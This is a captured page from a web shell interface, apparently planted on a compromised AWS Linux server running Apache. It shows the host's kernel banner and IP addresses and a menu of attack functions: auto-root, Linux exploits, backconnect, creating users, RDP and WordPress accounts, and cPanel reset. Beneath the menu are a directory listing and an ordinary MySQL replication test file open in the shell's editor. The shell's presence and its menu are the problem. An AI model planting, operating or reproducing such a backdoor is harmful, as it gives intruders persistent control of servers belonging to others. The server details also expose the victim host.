Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.133.107.191
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
extra /
rpl_tests /
[ HOME SHELL ]
Name
Size
Permission
Action
check_type.inc
2.29
KB
-rw-r--r--
create_recursive_construct.inc
16.61
KB
-rw-r--r--
create_recursive_construct_stm...
16.48
KB
-rw-r--r--
delayed_slave_wait_on_query.in...
1.59
KB
-rw-r--r--
gtid_disconnect_drop_temporary...
3.11
KB
-rw-r--r--
rpl_EE_err.test
1.03
KB
-rw-r--r--
rpl_auto_increment.test
8.63
KB
-rw-r--r--
rpl_auto_increment_insert_view...
1.37
KB
-rw-r--r--
rpl_auto_increment_invoke_trig...
2.47
KB
-rw-r--r--
rpl_autoinc_func_invokes_trigg...
1.78
KB
-rw-r--r--
rpl_binlog_max_cache_size.test
18.23
KB
-rw-r--r--
rpl_blackhole.test
1.03
KB
-rw-r--r--
rpl_change_master.test
10.46
KB
-rw-r--r--
rpl_change_master_bind.inc
2.23
KB
-rw-r--r--
rpl_charset.test
4.45
KB
-rw-r--r--
rpl_check_gtid.inc
4.87
KB
-rw-r--r--
rpl_commit_after_flush.test
272
B
-rw-r--r--
rpl_conflicts.test
5.45
KB
-rw-r--r--
rpl_crash_safe.inc
4.13
KB
-rw-r--r--
rpl_crash_safe.test
7.61
KB
-rw-r--r--
rpl_create_msr_channels.inc
2.53
KB
-rw-r--r--
rpl_db_stmts_ignored.inc
1.7
KB
-rw-r--r--
rpl_ddl.test
21.62
KB
-rw-r--r--
rpl_deadlock.test
6.05
KB
-rw-r--r--
rpl_delete_no_where.test
523
B
-rw-r--r--
rpl_do_table_filter_insensitiv...
492
B
-rw-r--r--
rpl_do_table_filter_sensitive....
491
B
-rw-r--r--
rpl_drop_create_temp_table.inc
29.79
KB
-rw-r--r--
rpl_drop_create_temp_table.tes...
17.8
KB
-rw-r--r--
rpl_drop_multiple_tables.inc
4
KB
-rw-r--r--
rpl_drop_multiple_tables_in_mu...
1.18
KB
-rw-r--r--
rpl_extra_col_master.test
31.93
KB
-rw-r--r--
rpl_extra_col_slave.test
28.76
KB
-rw-r--r--
rpl_failed_optimize.test
666
B
-rw-r--r--
rpl_filters.test
530
B
-rw-r--r--
rpl_flsh_tbls.test
1.86
KB
-rw-r--r--
rpl_foreign_key.test
1.7
KB
-rw-r--r--
rpl_generate_mts_gap.test
1.6
KB
-rw-r--r--
rpl_generate_mts_gap_with_miss...
3.22
KB
-rw-r--r--
rpl_generate_mts_gap_with_miss...
408
B
-rw-r--r--
rpl_get_master_version_and_clo...
2.88
KB
-rw-r--r--
rpl_gtid_drop_table.inc
1.11
KB
-rw-r--r--
rpl_gtid_mixed_rows_and_stmts_...
3.35
KB
-rw-r--r--
rpl_gtid_mts_relay_log_recover...
4.39
KB
-rw-r--r--
rpl_gtid_temp_table_in_func_or...
3.69
KB
-rw-r--r--
rpl_gtids_restart_slave_io_los...
3.48
KB
-rw-r--r--
rpl_heartbeat_2slaves.inc
4.27
KB
-rw-r--r--
rpl_ignore_super_read_only.tes...
6.19
KB
-rw-r--r--
rpl_ignore_table_filter_insens...
508
B
-rw-r--r--
rpl_ignore_table_filter_sensit...
506
B
-rw-r--r--
rpl_implicit_commit_binlog.tes...
17.22
KB
-rw-r--r--
rpl_innodb.test
4.53
KB
-rw-r--r--
rpl_insert_id.test
15.12
KB
-rw-r--r--
rpl_insert_id_pk.test
2.65
KB
-rw-r--r--
rpl_insert_ignore.test
4.9
KB
-rw-r--r--
rpl_kill_query.inc
4.14
KB
-rw-r--r--
rpl_loaddata.test
8.91
KB
-rw-r--r--
rpl_loaddata_s.inc
896
B
-rw-r--r--
rpl_loadfile.test
1.08
KB
-rw-r--r--
rpl_log.test
3.9
KB
-rw-r--r--
rpl_lower_case_table_names.tes...
4.07
KB
-rw-r--r--
rpl_max_relay_size.test
2.58
KB
-rw-r--r--
rpl_mixing_engines.inc
23.15
KB
-rw-r--r--
rpl_mixing_engines.test
54.43
KB
-rw-r--r--
rpl_mts_crash_safe.inc
5.92
KB
-rw-r--r--
rpl_mts_crash_safe.test
6.74
KB
-rw-r--r--
rpl_mts_execute_partial_trx_in...
1.11
KB
-rw-r--r--
rpl_mts_pending_events.inc
4.91
KB
-rw-r--r--
rpl_mts_relay_log_recovery.tes...
2.93
KB
-rw-r--r--
rpl_mts_transaction_retry.inc
7.9
KB
-rw-r--r--
rpl_multi_query.test
782
B
-rw-r--r--
rpl_multi_source_corrupt_repos...
18.31
KB
-rw-r--r--
rpl_multi_source_generate_mts_...
2.11
KB
-rw-r--r--
rpl_multi_update.test
805
B
-rw-r--r--
rpl_multi_update2.test
1.35
KB
-rw-r--r--
rpl_multi_update3.test
4.52
KB
-rw-r--r--
rpl_not_null.test
10.76
KB
-rw-r--r--
rpl_parallel_ddl.test
5.35
KB
-rw-r--r--
rpl_parallel_load.test
6.1
KB
-rw-r--r--
rpl_parallel_load_innodb.test
7
KB
-rw-r--r--
rpl_parallel_recovery_core.tes...
6.74
KB
-rw-r--r--
rpl_partition.test
7.88
KB
-rw-r--r--
rpl_perfschema_applier_xa_stat...
2.96
KB
-rw-r--r--
rpl_perfschema_order_by.test
3.12
KB
-rw-r--r--
rpl_record_compare.test
2.1
KB
-rw-r--r--
rpl_relayrotate.test
2.68
KB
-rw-r--r--
rpl_replication_observers_exam...
2.61
KB
-rw-r--r--
rpl_reset_slave.test
3.82
KB
-rw-r--r--
rpl_reset_slave_all_thread_saf...
1.2
KB
-rw-r--r--
rpl_rollback_to_savepoint.inc
7.54
KB
-rw-r--r--
rpl_row_001.test
2.68
KB
-rw-r--r--
rpl_row_UUID.test
2.61
KB
-rw-r--r--
rpl_row_basic.test
24.58
KB
-rw-r--r--
rpl_row_blob.test
5.57
KB
-rw-r--r--
rpl_row_empty_imgs.test
5.69
KB
-rw-r--r--
rpl_row_event_max_size.inc
4.05
KB
-rw-r--r--
rpl_row_func003.test
3.13
KB
-rw-r--r--
rpl_row_idempotency.test
8.39
KB
-rw-r--r--
rpl_row_img.test
8.23
KB
-rw-r--r--
rpl_row_img_blobs.test
5.82
KB
-rw-r--r--
rpl_row_img_diff_indexes.test
9.11
KB
-rw-r--r--
rpl_row_sp002.test
5.26
KB
-rw-r--r--
rpl_row_sp003.test
2.02
KB
-rw-r--r--
rpl_row_sp006.test
2.78
KB
-rw-r--r--
rpl_row_sp007.test
1.5
KB
-rw-r--r--
rpl_row_tabledefs.test
7.97
KB
-rw-r--r--
rpl_seconds_behind_master_mts_...
12.04
KB
-rw-r--r--
rpl_seconds_behind_master_mts_...
10.2
KB
-rw-r--r--
rpl_semi_sync_ack_thread.inc
676
B
-rw-r--r--
rpl_semi_sync_after_sync.test
4.82
KB
-rw-r--r--
rpl_semi_sync_deadlock.test
1.46
KB
-rw-r--r--
rpl_semi_sync_group_commit_dea...
1.71
KB
-rw-r--r--
rpl_set_null.test
2.85
KB
-rw-r--r--
rpl_sp.test
17.69
KB
-rw-r--r--
rpl_split_statements.test
17.96
KB
-rw-r--r--
rpl_start_stop_slave.test
5.4
KB
-rw-r--r--
rpl_stm_EE_err2.test
1.5
KB
-rw-r--r--
rpl_stm_create_if_not_exists.t...
6.87
KB
-rw-r--r--
rpl_stop_middle_group.test
5.17
KB
-rw-r--r--
rpl_stop_slave.test
1.56
KB
-rw-r--r--
rpl_stress_test.inc
2.21
KB
-rw-r--r--
rpl_sv_relay_space.test
921
B
-rw-r--r--
rpl_sync_relay_log_info.inc
9.02
KB
-rw-r--r--
rpl_sync_relay_log_info_assert...
3.23
KB
-rw-r--r--
rpl_temp_error.test
623
B
-rw-r--r--
rpl_temporary.test
10.6
KB
-rw-r--r--
rpl_test_framework.inc
2.42
KB
-rw-r--r--
rpl_tmp_table_and_DDL.test
4.8
KB
-rw-r--r--
rpl_trig004.test
1.7
KB
-rw-r--r--
rpl_truncate.test
425
B
-rw-r--r--
rpl_truncate_helper.test
976
B
-rw-r--r--
rpl_trx_boundary_parser.inc
1.59
KB
-rw-r--r--
rpl_trx_boundary_parser_all_st...
7.19
KB
-rw-r--r--
rpl_trx_boundary_parser_one_st...
3.69
KB
-rw-r--r--
rpl_trx_boundary_parser_warnin...
4.51
KB
-rw-r--r--
rpl_variables_stm.test
24.26
KB
-rw-r--r--
rpl_xa_gtid_next.inc
2.46
KB
-rw-r--r--
rpl_xa_mixed_engines.inc
1.89
KB
-rw-r--r--
type_conversions.test
23.7
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rpl_mts_transaction_retry.inc
################################################################################ # It verifys that transaction retry works well on MTS. It is designed to work # on both database and logical clock MTS. # # Test Scenarios: # 1. slave_transaction_retries = 0, coordinator and workers should stop without # retry when encountering a temporary error. # 2. coordinator and workers should stop after retrying a transaction # 'slave_transaction_retries' times. # 3. the worker can continue to finish the transaction correctly if retry does't # encounter any error and succeeds. # # Test Logic: # 1. Inserts some data into tables on master and sync the data to slave. # 2. Locks all rows on slave through SELECT ... FOR UPDATE # 3. Inserts some new data into tables on master. # Slave workers will encounter the temporary error 'Lock wait timeout # exceeded' when applying the events. # 4. check some status to make sure it acts as expected. # # In the test cases, we setup two slave workers. So it initializes two databases. # in each test case, it will use two transactions. They operate on different # databases. For databases MTS, it works. For logic clock MTS, the caller should # call below DEBUG instruction before this include file. So the two transactions # can be paralleled on slave. # SET DEBUG = "d,set_commit_parent_100"; ################################################################################ --echo # --echo # Initialization the test --echo # # Create two database to support mts of db parallel CREATE DATABASE db1; CREATE DATABASE db2; CREATE TABLE db1.t1(c1 INT PRIMARY KEY, c2 VARCHAR(4096)) ENGINE=InnoDB; CREATE TABLE db1.t2(c1 INT PRIMARY KEY, c2 VARCHAR(4096)) ENGINE=InnoDB; CREATE TABLE db2.t1(c1 INT PRIMARY KEY, c2 VARCHAR(4096)) ENGINE=InnoDB; INSERT INTO db1.t1 VALUES(1, NULL), (10, NULL), (100, NULL); INSERT INTO db1.t2 VALUES(1, NULL), (10, NULL), (100, NULL); INSERT INTO db2.t1 VALUES(1, NULL), (10, NULL), (100, NULL); --source include/sync_slave_sql_with_master.inc CALL mtr.add_suppression("Slave SQL for channel '':.*Lock wait timeout exceeded.*"); CALL mtr.add_suppression("Slave SQL for channel '': Worker . failed executing transaction.*"); CALL mtr.add_suppression("Slave SQL for channel '': .*Error_code: 1756"); CALL mtr.add_suppression("Slave SQL for channel '': worker thread retried transaction.*"); # Backup the original value of the variables SET @saved_innodb_lock_wait_timeout = @@GLOBAL.innodb_lock_wait_timeout; SET @saved_slave_parallel_workers = @@GLOBAL.slave_parallel_workers; SET @saved_slave_parallel_type = @@GLOBAL.slave_parallel_type; SET @saved_max_relay_log_size = @@GLOBAL.max_relay_log_size; SET @saved_slave_transaction_retries = @@GLOBAL.slave_transaction_retries; # Set a small wait timeout, so the test can run fast SET GLOBAL innodb_lock_wait_timeout = 1; SET GLOBAL slave_parallel_workers = 2; # Set a small relay log size, so the events of a transaction will be divided # into more than one relay logs. SET GLOBAL max_relay_log_size = 4096; --source include/stop_slave_sql.inc eval SET GLOBAL slave_parallel_type = $mts_parallel_type; --source include/start_slave_sql.inc --echo # --echo # Case 1: slave will stop if slave_transaction_retries is 0 --echo # SET GLOBAL slave_transaction_retries = 0; # Lock all rows of db1.t1 BEGIN; SELECT c1 FROM db1.t1 FOR UPDATE; --source include/rpl_connection_master.inc INSERT INTO db1.t1 VALUES(2, NULL); INSERT INTO db2.t1 VALUES(2, NULL); --source include/save_master_pos.inc --source include/rpl_connection_slave.inc # Lock wait timeout --let $slave_sql_errno= convert_error(ER_LOCK_WAIT_TIMEOUT) --source include/wait_for_slave_sql_error.inc --let $assert_text= Value 2 is not in db1.t1. --let $assert_cond= count(*) = 0 FROM db1.t1 WHERE c1 = 2 --source include/assert.inc # release the lock on db1.t1 ROLLBACK; --echo # --echo # Case 2: Slave will stop after retrying a transaction --echo # slave_transaction_retries times. --echo # SET GLOBAL slave_transaction_retries = 2; --source include/start_slave_sql.inc --source include/sync_slave_sql.inc # Lock all rows of db1.t2 BEGIN; SELECT c1 FROM db1.t2 FOR UPDATE; --source include/rpl_connection_master.inc BEGIN; INSERT INTO db1.t1 VALUES(20, NULL); INSERT INTO db1.t2 VALUES(20, NULL); COMMIT; INSERT INTO db2.t1 VALUES(20, NULL); --source include/save_master_pos.inc --source include/rpl_connection_slave.inc # Lock wait timeout --let $slave_sql_errno= convert_error(ER_LOCK_WAIT_TIMEOUT) --source include/wait_for_slave_sql_error.inc --let $assert_text= Value 20 is not in db1.t1. --let $assert_cond= count(*) = 0 FROM db1.t1 WHERE c1 = 20 --source include/assert.inc # release the lock on db1.t2 ROLLBACK; --echo # --echo # Case 3: Slave worker will not stop after retring a transaction --echo # sucessfully. --echo # --let $retried_trans= query_get_value(SHOW STATUS LIKE 'slave_retried_transactions', Value, 1) SET GLOBAL slave_transaction_retries = 10; --source include/start_slave_sql.inc --source include/sync_slave_sql.inc --source include/check_slave_no_error.inc # Lock all rows of db1.t2 BEGIN; SELECT c1 FROM db1.t2 FOR UPDATE; --source include/rpl_connection_master.inc --let $str= `SELECT repeat('a', 4096)` BEGIN; # It will make below INSERTs to be stored into different relay logs. --echo # INSERT INTO db1.t1 VALUES(30, 4096'a') --echo # INSERT INTO db1.t1 VALUES(31, 4096'a') --disable_query_log eval INSERT INTO db1.t1 VALUES(30, '$str'); eval INSERT INTO db1.t1 VALUES(31, '$str'); --enable_query_log # To Verify that Uservar_log_event works well SET @str= 'abc'; eval INSERT INTO db1.t2 VALUES(30, @str); COMMIT; INSERT INTO db2.t1 VALUES(30, NULL); --source include/save_master_pos.inc --source include/rpl_connection_slave.inc --let $status_var_comparsion= >= --let $status_type= GLOBAL --let $status_var= slave_retried_transactions --let $status_var_value= $retried_trans+2 --let $status_fail_query= SELECT GLOBAL.slave_retried_transactions --source include/wait_for_status_var.inc # # It is for verifying the fix of Bug#19282301 # To verify the temporary error is not reported through SHOW SLAVE STATUS --source include/check_slave_no_error.inc # Release the lock of db1.t2 ROLLBACK; --source include/sync_slave_sql.inc # It is for verifying the fix of Bug#19282301 --source include/check_slave_no_error.inc --let $rpl_diff_statement= SELECT * FROM db1.t1 --source include/rpl_diff.inc --let $rpl_diff_statement= SELECT * FROM db1.t2 --source include/rpl_diff.inc --let $rpl_diff_statement= SELECT * FROM db2.t1 --source include/rpl_diff.inc --source include/rpl_connection_master.inc INSERT INTO db1.t1 VALUES(40, NULL); INSERT INTO db2.t1 VALUES(40, NULL); --source include/sync_slave_sql_with_master.inc --echo # --echo # Case 4: Non-temporary error will stop slave workers without retrying --echo # --let $retried_trans= query_get_value(SHOW STATUS LIKE 'slave_retried_transactions', Value, 1) INSERT INTO db1.t1 VALUES(50, NULL); --source include/rpl_connection_master.inc INSERT INTO db1.t1 VALUES(50, NULL); --source include/save_master_pos.inc --source include/rpl_connection_slave.inc --let $slave_sql_errno= convert_error(ER_DUP_ENTRY) --source include/wait_for_slave_sql_error.inc --let $assert_text= slave_retried_transactions should not increase --let $assert_status_name= slave_retried_transactions --let $assert_status_value= $retried_trans --source include/assert_status.inc DELETE FROM db1.t1 WHERE c1 = 50; --source include/start_slave_sql.inc --source include/sync_slave_sql.inc --echo # --echo # Cleanup --echo # SET GLOBAL innodb_lock_wait_timeout = @saved_innodb_lock_wait_timeout; SET GLOBAL slave_parallel_workers = @saved_slave_parallel_workers; SET GLOBAL max_relay_log_size = @saved_max_relay_log_size; SET GLOBAL slave_transaction_retries = @saved_slave_transaction_retries; --source include/stop_slave_sql.inc SET GLOBAL slave_parallel_type= @saved_slave_parallel_type; --source include/start_slave_sql.inc --source include/rpl_connection_master.inc DROP DATABASE db1; DROP DATABASE db2;
Close